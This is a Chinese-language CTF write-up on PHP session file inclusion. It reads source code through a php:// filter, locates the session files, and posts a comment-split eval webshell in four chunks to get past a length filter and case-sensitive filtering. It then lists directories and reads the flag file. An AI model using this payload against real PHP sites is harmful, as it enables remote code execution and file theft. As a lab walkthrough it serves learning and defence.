前言
这题考察的是session文件包含来获取flag。因为可以用伪协议读取相关的所有文件,所以建议在本地复现一下,可以更好的理解。
WP
环境一共有三部分,主页,留言板和tips。tips那里是phpinfo,从中可以得到很多我们需要的东西。
首先发现index.bak.php?action=message.php,怀疑存在文件包含,尝试用php伪协议读取一下base64加密的源码,成功读取到了。重要的是msg.php:
<?php
header('content-type:application/json');
session_start();
function safe($msg){
if (strlen($msg)>17){
return "msg is too loooong!";
} else {
return preg_replace("/php/","?",$msg);
}
}
if (!isset($_SESSION['msg'])&empty($_SESSION['msg']))$_SESSION['msg'] = array();
if (isset($_POST['msg']))
{
array_push($_SESSION['msg'], ['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]);
echo json_encode(array(['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]));
exit();
}
if(!empty($_SESSION['msg'])){
echo json_encode($_SESSION['msg']);
} else {
echo "还不快去留言!";}
?>
注意到session_start(),而且有:
if (isset($_POST['msg']))
{
array_push($_SESSION['msg'], ['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]);
echo json_encode(array(['msg'=>safe($_POST['msg']),'time'=>date('Y-m-d H:i:s',time())]));
exit();
}
将留言的内容写入了session里,因此存在session文件包含漏洞。首先我们要知道session所在的位置,利用phpinfo的内容,我们发现:
因此session在默认路径了。
Linux:
/tmp 或 /var/lib/php/session
Windows:
C:\WINDOWS\Temp
经过尝试,在发现session在/tmp里。session文件的名字是sess+PHPSESSID。比如PHPSESSID=4oukbd8g5jj68pqb6f4h3567g3,那么session文件的名字是sess_4oukbd8g5jj68pqb6f4h3567g3
接下来就是怎么把语句写到session里了。如果要理解好这个的话,最好在本地搭个环境,尝试往session里写点东西,来看看你写的东西进入session里后到底是什么样的。自己尝试过,就懂了。
这里直接构造:
<?PHP /*
*/eval/*
*/($_POST[0])/*
*/;/*
写4次,最后通过POST把语句进行注入,在列目录的时候有2种方式:
0=print_r(glob('/*'));
0=print_r(scandir('/'));
这也是新姿势了,自己之前真的是除了ls就不会其他查目录的函数了。
查到flag所在文件的的名字之后,直接获取内容就可以了:
0=var_dump(file_get_contents('/FIag_!S_it'));
成功得到flag.